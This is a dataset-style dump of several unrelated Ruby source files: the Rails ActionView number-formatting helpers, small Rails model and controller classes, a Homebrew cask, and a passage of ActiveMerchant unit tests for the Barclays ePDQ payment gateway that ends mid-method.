hexsha
stringlengths 40
40
| size
int64 2
1.01M
| content
stringlengths 2
1.01M
| avg_line_length
float64 1.5
100
| max_line_length
int64 2
1k
| alphanum_fraction
float64 0.25
1
|
---|---|---|---|---|---|
eda16903b0600aaea0da7fd896baa25efd126521 | 28,716 | # encoding: utf-8
require 'active_support/core_ext/big_decimal/conversions'
require 'active_support/core_ext/float/rounding'
require 'active_support/core_ext/object/blank'
require 'active_support/core_ext/string/output_safety'
module ActionView
# = Action View Number Helpers
module Helpers #:nodoc:
# Provides methods for converting numbers into formatted strings.
# Methods are provided for phone numbers, currency, percentage,
# precision, positional notation, file size and pretty printing.
#
# Most methods expect a +number+ argument, and will return it
# unchanged if can't be converted into a valid number.
module NumberHelper
DEFAULT_CURRENCY_VALUES = { :format => "%u%n", :negative_format => "-%u%n", :unit => "$", :separator => ".", :delimiter => ",",
:precision => 2, :significant => false, :strip_insignificant_zeros => false }
# Raised when argument +number+ param given to the helpers is invalid and
# the option :raise is set to +true+.
class InvalidNumberError < StandardError
attr_accessor :number
def initialize(number)
@number = number
end
end
# Formats a +number+ into a US phone number (e.g., (555) 123-9876). You can customize the format
# in the +options+ hash.
#
# ==== Options
#
# * <tt>:area_code</tt> - Adds parentheses around the area code.
# * <tt>:delimiter</tt> - Specifies the delimiter to use (defaults to "-").
# * <tt>:extension</tt> - Specifies an extension to add to the end of the
# generated number.
# * <tt>:country_code</tt> - Sets the country code for the phone number.
# * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when the argument is invalid.
#
# ==== Examples
#
# number_to_phone(5551234) # => 555-1234
# number_to_phone("5551234") # => 555-1234
# number_to_phone(1235551234) # => 123-555-1234
# number_to_phone(1235551234, :area_code => true) # => (123) 555-1234
# number_to_phone(1235551234, :delimiter => " ") # => 123 555 1234
# number_to_phone(1235551234, :area_code => true, :extension => 555) # => (123) 555-1234 x 555
# number_to_phone(1235551234, :country_code => 1) # => +1-123-555-1234
# number_to_phone("123a456") # => 123a456
#
# number_to_phone("1234a567", :raise => true) # => InvalidNumberError
#
# number_to_phone(1235551234, :country_code => 1, :extension => 1343, :delimiter => ".")
# # => +1.123.555.1234 x 1343
def number_to_phone(number, options = {})
return unless number
begin
Float(number)
rescue ArgumentError, TypeError
raise InvalidNumberError, number
end if options[:raise]
number = number.to_s.strip
options = options.symbolize_keys
area_code = options[:area_code]
delimiter = options[:delimiter] || "-"
extension = options[:extension]
country_code = options[:country_code]
if area_code
number.gsub!(/(\d{1,3})(\d{3})(\d{4}$)/,"(\\1) \\2#{delimiter}\\3")
else
number.gsub!(/(\d{0,3})(\d{3})(\d{4})$/,"\\1#{delimiter}\\2#{delimiter}\\3")
number.slice!(0, 1) if number.starts_with?(delimiter) && !delimiter.blank?
end
str = []
str << "+#{country_code}#{delimiter}" unless country_code.blank?
str << number
str << " x #{extension}" unless extension.blank?
ERB::Util.html_escape(str.join)
end
# Formats a +number+ into a currency string (e.g., $13.65). You can customize the format
# in the +options+ hash.
#
# ==== Options
#
# * <tt>:locale</tt> - Sets the locale to be used for formatting (defaults to current locale).
# * <tt>:precision</tt> - Sets the level of precision (defaults to 2).
# * <tt>:unit</tt> - Sets the denomination of the currency (defaults to "$").
# * <tt>:separator</tt> - Sets the separator between the units (defaults to ".").
# * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults to ",").
# * <tt>:format</tt> - Sets the format for non-negative numbers (defaults to "%u%n").
# Fields are <tt>%u</tt> for the currency, and <tt>%n</tt>
# for the number.
# * <tt>:negative_format</tt> - Sets the format for negative numbers (defaults to prepending
# an hyphen to the formatted number given by <tt>:format</tt>).
# Accepts the same fields than <tt>:format</tt>, except
# <tt>%n</tt> is here the absolute value of the number.
# * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when the argument is invalid.
#
# ==== Examples
#
# number_to_currency(1234567890.50) # => $1,234,567,890.50
# number_to_currency(1234567890.506) # => $1,234,567,890.51
# number_to_currency(1234567890.506, :precision => 3) # => $1,234,567,890.506
# number_to_currency(1234567890.506, :locale => :fr) # => 1 234 567 890,51 €
# number_to_currency("123a456") # => $123a456
#
# number_to_currency("123a456", :raise => true) # => InvalidNumberError
#
# number_to_currency(-1234567890.50, :negative_format => "(%u%n)")
# # => ($1,234,567,890.50)
# number_to_currency(1234567890.50, :unit => "£", :separator => ",", :delimiter => "")
# # => £1234567890,50
# number_to_currency(1234567890.50, :unit => "£", :separator => ",", :delimiter => "", :format => "%n %u")
# # => 1234567890,50 £
def number_to_currency(number, options = {})
return unless number
options.symbolize_keys!
defaults = I18n.translate(:'number.format', :locale => options[:locale], :default => {})
currency = I18n.translate(:'number.currency.format', :locale => options[:locale], :default => {})
currency[:negative_format] ||= "-" + currency[:format] if currency[:format]
defaults = DEFAULT_CURRENCY_VALUES.merge(defaults).merge!(currency)
defaults[:negative_format] = "-" + options[:format] if options[:format]
options = defaults.merge!(options)
unit = options.delete(:unit)
format = options.delete(:format)
if number.to_f < 0
format = options.delete(:negative_format)
number = number.respond_to?("abs") ? number.abs : number.sub(/^-/, '')
end
begin
value = number_with_precision(number, options.merge(:raise => true))
format.gsub(/%n/, value).gsub(/%u/, unit).html_safe
rescue InvalidNumberError => e
if options[:raise]
raise
else
formatted_number = format.gsub(/%n/, e.number).gsub(/%u/, unit)
e.number.to_s.html_safe? ? formatted_number.html_safe : formatted_number
end
end
end
# Formats a +number+ as a percentage string (e.g., 65%). You can customize the format in the +options+ hash.
#
# ==== Options
#
# * <tt>:locale</tt> - Sets the locale to be used for formatting (defaults to current
# locale).
# * <tt>:precision</tt> - Sets the precision of the number (defaults to 3).
# * <tt>:significant</tt> - If +true+, precision will be the # of significant_digits. If +false+,
# the # of fractional digits (defaults to +false+).
# * <tt>:separator</tt> - Sets the separator between the fractional and integer digits (defaults
# to ".").
# * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults to "").
# * <tt>:strip_insignificant_zeros</tt> - If +true+ removes insignificant zeros after the decimal separator
# (defaults to +false+).
# * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when the argument is invalid.
#
# ==== Examples
#
# number_to_percentage(100) # => 100.000%
# number_to_percentage("98") # => 98.000%
# number_to_percentage(100, :precision => 0) # => 100%
# number_to_percentage(1000, :delimiter => '.', :separator => ',') # => 1.000,000%
# number_to_percentage(302.24398923423, :precision => 5) # => 302.24399%
# number_to_percentage(1000, :locale => :fr) # => 1 000,000%
# number_to_percentage("98a") # => 98a%
#
# number_to_percentage("98a", :raise => true) # => InvalidNumberError
def number_to_percentage(number, options = {})
return unless number
options.symbolize_keys!
defaults = I18n.translate(:'number.format', :locale => options[:locale], :default => {})
percentage = I18n.translate(:'number.percentage.format', :locale => options[:locale], :default => {})
defaults = defaults.merge(percentage)
options = options.reverse_merge(defaults)
begin
"#{number_with_precision(number, options.merge(:raise => true))}%".html_safe
rescue InvalidNumberError => e
if options[:raise]
raise
else
e.number.to_s.html_safe? ? "#{e.number}%".html_safe : "#{e.number}%"
end
end
end
# Formats a +number+ with grouped thousands using +delimiter+ (e.g., 12,324). You can
# customize the format in the +options+ hash.
#
# ==== Options
#
# * <tt>:locale</tt> - Sets the locale to be used for formatting (defaults to current locale).
# * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults to ",").
# * <tt>:separator</tt> - Sets the separator between the fractional and integer digits (defaults to ".").
# * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when the argument is invalid.
#
# ==== Examples
#
# number_with_delimiter(12345678) # => 12,345,678
# number_with_delimiter("123456") # => 123,456
# number_with_delimiter(12345678.05) # => 12,345,678.05
# number_with_delimiter(12345678, :delimiter => ".") # => 12.345.678
# number_with_delimiter(12345678, :delimiter => ",") # => 12,345,678
# number_with_delimiter(12345678.05, :separator => " ") # => 12,345,678 05
# number_with_delimiter(12345678.05, :locale => :fr) # => 12 345 678,05
# number_with_delimiter("112a") # => 112a
# number_with_delimiter(98765432.98, :delimiter => " ", :separator => ",")
# # => 98 765 432,98
#
# number_with_delimiter("112a", :raise => true) # => raise InvalidNumberError
def number_with_delimiter(number, options = {})
options.symbolize_keys!
begin
Float(number)
rescue ArgumentError, TypeError
if options[:raise]
raise InvalidNumberError, number
else
return number
end
end
defaults = I18n.translate(:'number.format', :locale => options[:locale], :default => {})
options = options.reverse_merge(defaults)
parts = number.to_s.to_str.split('.')
parts[0].gsub!(/(\d)(?=(\d\d\d)+(?!\d))/, "\\1#{options[:delimiter]}")
parts.join(options[:separator]).html_safe
end
# Formats a +number+ with the specified level of <tt>:precision</tt> (e.g., 112.32 has a precision
# of 2 if +:significant+ is +false+, and 5 if +:significant+ is +true+).
# You can customize the format in the +options+ hash.
#
# ==== Options
# * <tt>:locale</tt> - Sets the locale to be used for formatting (defaults to current locale).
# * <tt>:precision</tt> - Sets the precision of the number (defaults to 3).
# * <tt>:significant</tt> - If +true+, precision will be the # of significant_digits. If +false+,
# the # of fractional digits (defaults to +false+).
# * <tt>:separator</tt> - Sets the separator between the fractional and integer digits (defaults
# to ".").
# * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults to "").
# * <tt>:strip_insignificant_zeros</tt> - If +true+ removes insignificant zeros after the decimal separator
# (defaults to +false+).
# * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when the argument is invalid.
#
# ==== Examples
# number_with_precision(111.2345) # => 111.235
# number_with_precision(111.2345, :precision => 2) # => 111.23
# number_with_precision(13, :precision => 5) # => 13.00000
# number_with_precision(389.32314, :precision => 0) # => 389
# number_with_precision(111.2345, :significant => true) # => 111
# number_with_precision(111.2345, :precision => 1, :significant => true) # => 100
# number_with_precision(13, :precision => 5, :significant => true) # => 13.000
# number_with_precision(111.234, :locale => :fr) # => 111,234
#
# number_with_precision(13, :precision => 5, :significant => true, :strip_insignificant_zeros => true)
# # => 13
#
# number_with_precision(389.32314, :precision => 4, :significant => true) # => 389.3
# number_with_precision(1111.2345, :precision => 2, :separator => ',', :delimiter => '.')
# # => 1.111,23
def number_with_precision(number, options = {})
options.symbolize_keys!
number = begin
Float(number)
rescue ArgumentError, TypeError
if options[:raise]
raise InvalidNumberError, number
else
return number
end
end
defaults = I18n.translate(:'number.format', :locale => options[:locale], :default => {})
precision_defaults = I18n.translate(:'number.precision.format', :locale => options[:locale], :default => {})
defaults = defaults.merge(precision_defaults)
options = options.reverse_merge(defaults) # Allow the user to unset default values: Eg.: :significant => false
precision = options.delete :precision
significant = options.delete :significant
strip_insignificant_zeros = options.delete :strip_insignificant_zeros
if significant and precision > 0
if number == 0
digits, rounded_number = 1, 0
else
digits = (Math.log10(number.abs) + 1).floor
rounded_number = (BigDecimal.new(number.to_s) / BigDecimal.new((10 ** (digits - precision)).to_f.to_s)).round.to_f * 10 ** (digits - precision)
digits = (Math.log10(rounded_number.abs) + 1).floor # After rounding, the number of digits may have changed
end
precision -= digits
precision = precision > 0 ? precision : 0 #don't let it be negative
else
rounded_number = BigDecimal.new(number.to_s).round(precision).to_f
end
formatted_number = number_with_delimiter("%01.#{precision}f" % rounded_number, options)
if strip_insignificant_zeros
escaped_separator = Regexp.escape(options[:separator])
formatted_number.sub(/(#{escaped_separator})(\d*[1-9])?0+\z/, '\1\2').sub(/#{escaped_separator}\z/, '').html_safe
else
formatted_number
end
end
STORAGE_UNITS = [:byte, :kb, :mb, :gb, :tb].freeze
# Formats the bytes in +number+ into a more understandable representation
# (e.g., giving it 1500 yields 1.5 KB). This method is useful for
# reporting file sizes to users. You can customize the
# format in the +options+ hash.
#
# See <tt>number_to_human</tt> if you want to pretty-print a generic number.
#
# ==== Options
# * <tt>:locale</tt> - Sets the locale to be used for formatting (defaults to current locale).
# * <tt>:precision</tt> - Sets the precision of the number (defaults to 3).
# * <tt>:significant</tt> - If +true+, precision will be the # of significant_digits. If +false+, the # of fractional digits (defaults to +true+)
# * <tt>:separator</tt> - Sets the separator between the fractional and integer digits (defaults to ".").
# * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults to "").
# * <tt>:strip_insignificant_zeros</tt> - If +true+ removes insignificant zeros after the decimal separator (defaults to +true+)
# * <tt>:prefix</tt> - If +:si+ formats the number using the SI prefix (defaults to :binary)
# * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when the argument is invalid.
# ==== Examples
# number_to_human_size(123) # => 123 Bytes
# number_to_human_size(1234) # => 1.21 KB
# number_to_human_size(12345) # => 12.1 KB
# number_to_human_size(1234567) # => 1.18 MB
# number_to_human_size(1234567890) # => 1.15 GB
# number_to_human_size(1234567890123) # => 1.12 TB
# number_to_human_size(1234567, :precision => 2) # => 1.2 MB
# number_to_human_size(483989, :precision => 2) # => 470 KB
# number_to_human_size(1234567, :precision => 2, :separator => ',') # => 1,2 MB
#
# Non-significant zeros after the fractional separator are stripped out by default (set
# <tt>:strip_insignificant_zeros</tt> to +false+ to change that):
# number_to_human_size(1234567890123, :precision => 5) # => "1.1229 TB"
# number_to_human_size(524288000, :precision => 5) # => "500 MB"
def number_to_human_size(number, options = {})
options.symbolize_keys!
number = begin
Float(number)
rescue ArgumentError, TypeError
if options[:raise]
raise InvalidNumberError, number
else
return number
end
end
defaults = I18n.translate(:'number.format', :locale => options[:locale], :default => {})
human = I18n.translate(:'number.human.format', :locale => options[:locale], :default => {})
defaults = defaults.merge(human)
options = options.reverse_merge(defaults)
#for backwards compatibility with those that didn't add strip_insignificant_zeros to their locale files
options[:strip_insignificant_zeros] = true if not options.key?(:strip_insignificant_zeros)
storage_units_format = I18n.translate(:'number.human.storage_units.format', :locale => options[:locale], :raise => true)
base = options[:prefix] == :si ? 1000 : 1024
if number.to_i < base
unit = I18n.translate(:'number.human.storage_units.units.byte', :locale => options[:locale], :count => number.to_i, :raise => true)
storage_units_format.gsub(/%n/, number.to_i.to_s).gsub(/%u/, unit).html_safe
else
max_exp = STORAGE_UNITS.size - 1
exponent = (Math.log(number) / Math.log(base)).to_i # Convert to base
exponent = max_exp if exponent > max_exp # we need this to avoid overflow for the highest unit
number /= base ** exponent
unit_key = STORAGE_UNITS[exponent]
unit = I18n.translate(:"number.human.storage_units.units.#{unit_key}", :locale => options[:locale], :count => number, :raise => true)
formatted_number = number_with_precision(number, options)
storage_units_format.gsub(/%n/, formatted_number).gsub(/%u/, unit).html_safe
end
end
DECIMAL_UNITS = {0 => :unit, 1 => :ten, 2 => :hundred, 3 => :thousand, 6 => :million, 9 => :billion, 12 => :trillion, 15 => :quadrillion,
-1 => :deci, -2 => :centi, -3 => :mili, -6 => :micro, -9 => :nano, -12 => :pico, -15 => :femto}.freeze
# Pretty prints (formats and approximates) a number in a way it is more readable by humans
# (eg.: 1200000000 becomes "1.2 Billion"). This is useful for numbers that
# can get very large (and too hard to read).
#
# See <tt>number_to_human_size</tt> if you want to print a file size.
#
# You can also define you own unit-quantifier names if you want to use other decimal units
# (eg.: 1500 becomes "1.5 kilometers", 0.150 becomes "150 milliliters", etc). You may define
# a wide range of unit quantifiers, even fractional ones (centi, deci, mili, etc).
#
# ==== Options
# * <tt>:locale</tt> - Sets the locale to be used for formatting (defaults to current locale).
# * <tt>:precision</tt> - Sets the precision of the number (defaults to 3).
# * <tt>:significant</tt> - If +true+, precision will be the # of significant_digits. If +false+, the # of fractional digits (defaults to +true+)
# * <tt>:separator</tt> - Sets the separator between the fractional and integer digits (defaults to ".").
# * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults to "").
# * <tt>:strip_insignificant_zeros</tt> - If +true+ removes insignificant zeros after the decimal separator (defaults to +true+)
# * <tt>:units</tt> - A Hash of unit quantifier names. Or a string containing an i18n scope where to find this hash. It might have the following keys:
# * *integers*: <tt>:unit</tt>, <tt>:ten</tt>, <tt>:hundred</tt>, <tt>:thousand</tt>, <tt>:million</tt>, <tt>:billion</tt>, <tt>:trillion</tt>, <tt>:quadrillion</tt>
# * *fractionals*: <tt>:deci</tt>, <tt>:centi</tt>, <tt>:mili</tt>, <tt>:micro</tt>, <tt>:nano</tt>, <tt>:pico</tt>, <tt>:femto</tt>
# * <tt>:format</tt> - Sets the format of the output string (defaults to "%n %u"). The field types are:
# * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when the argument is invalid.
#
# %u The quantifier (ex.: 'thousand')
# %n The number
#
# ==== Examples
# number_to_human(123) # => "123"
# number_to_human(1234) # => "1.23 Thousand"
# number_to_human(12345) # => "12.3 Thousand"
# number_to_human(1234567) # => "1.23 Million"
# number_to_human(1234567890) # => "1.23 Billion"
# number_to_human(1234567890123) # => "1.23 Trillion"
# number_to_human(1234567890123456) # => "1.23 Quadrillion"
# number_to_human(1234567890123456789) # => "1230 Quadrillion"
# number_to_human(489939, :precision => 2) # => "490 Thousand"
# number_to_human(489939, :precision => 4) # => "489.9 Thousand"
# number_to_human(1234567, :precision => 4,
# :significant => false) # => "1.2346 Million"
# number_to_human(1234567, :precision => 1,
# :separator => ',',
# :significant => false) # => "1,2 Million"
#
# Unsignificant zeros after the decimal separator are stripped out by default (set
# <tt>:strip_insignificant_zeros</tt> to +false+ to change that):
# number_to_human(12345012345, :significant_digits => 6) # => "12.345 Billion"
# number_to_human(500000000, :precision => 5) # => "500 Million"
#
# ==== Custom Unit Quantifiers
#
# You can also use your own custom unit quantifiers:
# number_to_human(500000, :units => {:unit => "ml", :thousand => "lt"}) # => "500 lt"
#
# If in your I18n locale you have:
# distance:
# centi:
# one: "centimeter"
# other: "centimeters"
# unit:
# one: "meter"
# other: "meters"
# thousand:
# one: "kilometer"
# other: "kilometers"
# billion: "gazillion-distance"
#
# Then you could do:
#
# number_to_human(543934, :units => :distance) # => "544 kilometers"
# number_to_human(54393498, :units => :distance) # => "54400 kilometers"
# number_to_human(54393498000, :units => :distance) # => "54.4 gazillion-distance"
# number_to_human(343, :units => :distance, :precision => 1) # => "300 meters"
# number_to_human(1, :units => :distance) # => "1 meter"
# number_to_human(0.34, :units => :distance) # => "34 centimeters"
#
def number_to_human(number, options = {})
options.symbolize_keys!
number = begin
Float(number)
rescue ArgumentError, TypeError
if options[:raise]
raise InvalidNumberError, number
else
return number
end
end
defaults = I18n.translate(:'number.format', :locale => options[:locale], :default => {})
human = I18n.translate(:'number.human.format', :locale => options[:locale], :default => {})
defaults = defaults.merge(human)
options = options.reverse_merge(defaults)
#for backwards compatibility with those that didn't add strip_insignificant_zeros to their locale files
options[:strip_insignificant_zeros] = true if not options.key?(:strip_insignificant_zeros)
inverted_du = DECIMAL_UNITS.invert
units = options.delete :units
unit_exponents = case units
when Hash
units
when String, Symbol
I18n.translate(:"#{units}", :locale => options[:locale], :raise => true)
when nil
I18n.translate(:"number.human.decimal_units.units", :locale => options[:locale], :raise => true)
else
raise ArgumentError, ":units must be a Hash or String translation scope."
end.keys.map{|e_name| inverted_du[e_name] }.sort_by{|e| -e}
number_exponent = number != 0 ? Math.log10(number.abs).floor : 0
display_exponent = unit_exponents.find{ |e| number_exponent >= e } || 0
number /= 10 ** display_exponent
unit = case units
when Hash
units[DECIMAL_UNITS[display_exponent]]
when String, Symbol
I18n.translate(:"#{units}.#{DECIMAL_UNITS[display_exponent]}", :locale => options[:locale], :count => number.to_i)
else
I18n.translate(:"number.human.decimal_units.units.#{DECIMAL_UNITS[display_exponent]}", :locale => options[:locale], :count => number.to_i)
end
decimal_format = options[:format] || I18n.translate(:'number.human.decimal_units.format', :locale => options[:locale], :default => "%n %u")
formatted_number = number_with_precision(number, options)
decimal_format.gsub(/%n/, formatted_number).gsub(/%u/, unit).strip.html_safe
end
end
end
end
| 53.177778 | 175 | 0.552201 |
4a2d7be902f48bb78fe3de8e82a8dc0a58fac776 | 182 | class RoutineTraining < ApplicationRecord
belongs_to :routine # routine_id in routine_trainings join table
belongs_to :training # training_id in routine_trainings join table
end
| 36.4 | 68 | 0.835165 |
623a605400630c9a5cf743bc517fa66162f96880 | 423 | class Servetome < Cask
version '3.9.0.3053'
sha256 '87bf1184b7656a96088b25880e7e1c772f30d8dfa1e602f9b43ccbdd0608fdf2'
url "http://downloads.zqueue.com/ServeToMe-v#{version}.dmg"
appcast 'http://zqueue.com/servetome/stm3_mac_appcast.xml',
:sha256 => '48cc93d336da8f71ab2a804d609e54d2e81ce4cd17f626e57aa4b7a76624ea69'
homepage 'http://zqueue.com/servetome/'
license :unknown
app 'ServeToMe.app'
end
| 32.538462 | 87 | 0.77305 |
ed61e975e1bc9f4362fedb23e9ae52ffa6c4b29e | 600 | class OrdersController < ApplicationController
before_action :set_order, only: :show
def create
order = Order.new(order_params)
if order.save
render json: order, status: :created
else
render json: order.errors, status: :unprocessable_entity
end
end
def show
render json: @order
end
private
def set_order
@order = Order.find(params[:id])
end
def order_params
params.require(:order).permit(:name, :phone_number, :restaurant_id,
order_products_attributes: %i[quantity comment product_id]
)
end
end
| 19.354839 | 92 | 0.66 |
26155c45c31bae4f08c2cf6340d110d9ab11c549 | 68 | module SortIndex
class ApplicationJob < ActiveJob::Base
end
end
| 13.6 | 40 | 0.779412 |
330bdf13d4d8975e1424c01db4137edf50ca59f6 | 26,810 | require 'test_helper'
class BarclaysEpdqExtraPlusTest < Test::Unit::TestCase
def setup
@credentials = { :login => 'pspid',
:user => 'username',
:password => 'password',
:signature => 'mynicesig',
:signature_encryptor => 'sha512' }
@gateway = BarclaysEpdqExtraPlusGateway.new(@credentials)
@credit_card = credit_card
@mastercard = credit_card('5399999999999999', :brand => 'mastercard')
@amount = 100
@identification = '3014726'
@billing_id = 'myalias'
@options = {
:order_id => '1',
:billing_address => address,
:description => 'Store Purchase'
}
@parameters = {
'orderID' => '1',
'amount' => '100',
'currency' => 'EUR',
'CARDNO' => '4111111111111111',
'PSPID' => 'MrPSPID',
'Operation' => 'RES',
'ALIAS' => '2',
'CN' => 'Client Name'
}
@parameters_d3d = {
'FLAG3D' => 'Y',
'WIN3DS' => 'MAINW',
'HTTP_ACCEPT' => '*/*'
}
end
def teardown
Base.mode = :test
end
def test_successful_purchase
@gateway.expects(:add_pair).at_least(1)
@gateway.expects(:add_pair).with(anything, 'ECI', '7')
@gateway.expects(:ssl_post).returns(successful_purchase_response)
assert response = @gateway.purchase(@amount, @credit_card, @options)
assert_success response
assert_equal '3014726;SAL', response.authorization
assert response.params['HTML_ANSWER'].nil?
assert response.test?
end
def test_successful_purchase_with_action_param
@gateway.expects(:add_pair).at_least(1)
@gateway.expects(:add_pair).with(anything, 'ECI', '7')
@gateway.expects(:ssl_post).returns(successful_purchase_response)
assert response = @gateway.purchase(@amount, @credit_card, @options.merge(:action => 'SAS'))
assert_success response
assert_equal '3014726;SAS', response.authorization
assert response.params['HTML_ANSWER'].nil?
assert response.test?
end
def test_successful_purchase_without_order_id
@gateway.expects(:ssl_post).returns(successful_purchase_response)
@options.delete(:order_id)
assert response = @gateway.purchase(@amount, @credit_card, @options)
assert_success response
assert_equal '3014726;SAL', response.authorization
assert response.test?
end
def test_successful_purchase_with_custom_eci
@gateway.expects(:add_pair).at_least(1)
@gateway.expects(:add_pair).with(anything, 'ECI', '4')
@gateway.expects(:ssl_post).returns(successful_purchase_response)
assert response = @gateway.purchase(@amount, @credit_card, @options.merge(:eci => 4))
assert_success response
assert_equal '3014726;SAL', response.authorization
assert response.test?
end
def test_successful_purchase_with_3dsecure
@gateway.expects(:ssl_post).returns(successful_3dsecure_purchase_response)
assert response = @gateway.purchase(@amount, @credit_card, @options.merge(:d3d => true))
assert_success response
assert_equal '3014726;SAL', response.authorization
assert response.params['HTML_ANSWER']
assert_equal nil, response.params['HTML_ANSWER'] =~ /<HTML_ANSWER>/
assert response.test?
end
def test_successful_authorize
@gateway.expects(:add_pair).at_least(1)
@gateway.expects(:add_pair).with(anything, 'ECI', '7')
@gateway.expects(:add_pair).with(anything, 'Operation', 'RES')
@gateway.expects(:ssl_post).returns(successful_purchase_response)
assert response = @gateway.authorize(@amount, @credit_card, @options)
assert_success response
assert_equal '3014726;RES', response.authorization
assert response.test?
end
def test_successful_authorize_with_mastercard
@gateway.expects(:add_pair).at_least(1)
@gateway.expects(:add_pair).with(anything, 'Operation', 'PAU')
@gateway.expects(:ssl_post).returns(successful_purchase_response)
assert response = @gateway.authorize(@amount, @mastercard, @options)
assert_success response
assert_equal '3014726;PAU', response.authorization
assert response.test?
end
def test_successful_authorize_with_custom_eci
@gateway.expects(:add_pair).at_least(1)
@gateway.expects(:add_pair).with(anything, 'ECI', '4')
@gateway.expects(:ssl_post).returns(successful_purchase_response)
assert response = @gateway.authorize(@amount, @credit_card, @options.merge(:eci => 4))
assert_success response
assert_equal '3014726;RES', response.authorization
assert response.test?
end
def test_successful_authorize_with_3dsecure
@gateway.expects(:ssl_post).returns(successful_3dsecure_purchase_response)
assert response = @gateway.authorize(@amount, @credit_card, @options.merge(:d3d => true))
assert_success response
assert_equal '3014726;RES', response.authorization
assert response.params['HTML_ANSWER']
assert_equal nil, response.params['HTML_ANSWER'] =~ /<HTML_ANSWER>/
assert response.test?
end
def test_successful_capture
@gateway.expects(:ssl_post).returns(successful_capture_response)
assert response = @gateway.capture(@amount, '3048326')
assert_success response
assert_equal '3048326;SAL', response.authorization
assert response.test?
end
def test_successful_capture_with_action_option
@gateway.expects(:ssl_post).returns(successful_capture_response)
assert response = @gateway.capture(@amount, '3048326', :action => 'SAS')
assert_success response
assert_equal '3048326;SAS', response.authorization
assert response.test?
end
def test_successful_void
@gateway.expects(:ssl_post).returns(successful_void_response)
assert response = @gateway.void('3048606')
assert_success response
assert_equal '3048606;DES', response.authorization
assert response.test?
end
def test_deprecated_credit
@gateway.expects(:ssl_post).returns(successful_referenced_credit_response)
assert_deprecation_warning(Gateway::CREDIT_DEPRECATION_MESSAGE) do
assert response = @gateway.credit(@amount, '3049652;SAL')
assert_success response
assert_equal '3049652;RFD', response.authorization
assert response.test?
end
end
def test_successful_unreferenced_credit
@gateway.expects(:ssl_post).returns(successful_unreferenced_credit_response)
assert response = @gateway.credit(@amount, @credit_card)
assert_success response
assert_equal '3049654;RFD', response.authorization
assert response.test?
end
def test_successful_refund
@gateway.expects(:ssl_post).returns(successful_referenced_credit_response)
assert response = @gateway.refund(@amount, '3049652')
assert_success response
assert_equal '3049652;RFD', response.authorization
assert response.test?
end
def test_successful_store
@gateway.expects(:add_pair).at_least(1)
@gateway.expects(:add_pair).with(anything, 'ECI', '7')
@gateway.expects(:ssl_post).times(2).returns(successful_purchase_response)
assert response = @gateway.store(@credit_card, :billing_id => @billing_id)
assert_success response
assert_equal '3014726;RES', response.authorization
assert_equal '2', response.billing_id
assert response.test?
end
def test_deprecated_store_option
@gateway.expects(:add_pair).at_least(1)
@gateway.expects(:add_pair).with(anything, 'ECI', '7')
@gateway.expects(:ssl_post).times(2).returns(successful_purchase_response)
assert_deprecation_warning(BarclaysEpdqExtraPlusGateway::OGONE_STORE_OPTION_DEPRECATION_MESSAGE) do
assert response = @gateway.store(@credit_card, :store => @billing_id)
assert_success response
assert_equal '3014726;RES', response.authorization
assert response.test?
end
end
def test_unsuccessful_request
@gateway.expects(:ssl_post).returns(failed_purchase_response)
assert response = @gateway.purchase(@amount, @credit_card, @options)
assert_failure response
assert response.test?
end
def test_create_readable_error_message_upon_failure
@gateway.expects(:ssl_post).returns(test_failed_authorization_due_to_unknown_order_number)
assert response = @gateway.purchase(@amount, @credit_card, @options)
assert_failure response
assert response.test?
assert_equal 'Unknown order', response.message
end
def test_supported_countries
assert_equal ['GB'], BarclaysEpdqExtraPlusGateway.supported_countries
end
def test_supported_card_types
assert_equal [:visa, :master, :american_express, :diners_club, :discover, :jcb, :maestro], BarclaysEpdqExtraPlusGateway.supported_cardtypes
end
def test_default_currency
assert_equal 'GBP', BarclaysEpdqExtraPlusGateway.default_currency
gateway = BarclaysEpdqExtraPlusGateway.new(@credentials)
gateway.expects(:add_pair).at_least(1)
gateway.expects(:add_pair).with(anything, 'currency', 'GBP')
gateway.expects(:ssl_post).returns(successful_purchase_response)
gateway.purchase(@amount, @credit_card, @options)
end
def test_custom_currency_at_gateway_level
gateway = BarclaysEpdqExtraPlusGateway.new(@credentials.merge(:currency => 'USD'))
gateway.expects(:add_pair).at_least(1)
gateway.expects(:add_pair).with(anything, 'currency', 'USD')
gateway.expects(:ssl_post).returns(successful_purchase_response)
gateway.purchase(@amount, @credit_card, @options)
end
def test_local_custom_currency_overwrite_gateway_level
gateway = BarclaysEpdqExtraPlusGateway.new(@credentials.merge(:currency => 'USD'))
gateway.expects(:add_pair).at_least(1)
gateway.expects(:add_pair).with(anything, 'currency', 'EUR')
gateway.expects(:ssl_post).returns(successful_purchase_response)
gateway.purchase(@amount, @credit_card, @options.merge(:currency => 'EUR'))
end
def test_avs_result
@gateway.expects(:ssl_post).returns(successful_purchase_response)
response = @gateway.purchase(@amount, @credit_card)
assert_equal 'R', response.avs_result['code']
end
def test_cvv_result
@gateway.expects(:ssl_post).returns(successful_purchase_response)
response = @gateway.purchase(@amount, @credit_card)
assert_equal 'P', response.cvv_result['code']
end
def test_billing_id
@gateway.expects(:ssl_post).returns(successful_purchase_response)
response = @gateway.purchase(@amount, @credit_card)
assert_equal '2', response.billing_id
end
def test_order_id
@gateway.expects(:ssl_post).returns(successful_purchase_response)
response = @gateway.purchase(@amount, @credit_card)
assert_equal '1233680882919266242708828', response.order_id
end
def test_production_mode
Base.mode = :production
gateway = BarclaysEpdqExtraPlusGateway.new(@credentials)
assert !gateway.test?
end
def test_test_mode
Base.mode = :production
@credentials[:test] = true
gateway = BarclaysEpdqExtraPlusGateway.new(@credentials)
assert gateway.test?
end
def test_format_error_message_with_slash_separator
@gateway.expects(:ssl_post).returns('<ncresponse NCERRORPLUS="unknown order/1/i/67.192.100.64" STATUS="0" />')
assert response = @gateway.purchase(@amount, @credit_card, @options)
assert_equal 'Unknown order', response.message
end
def test_format_error_message_with_pipe_separator
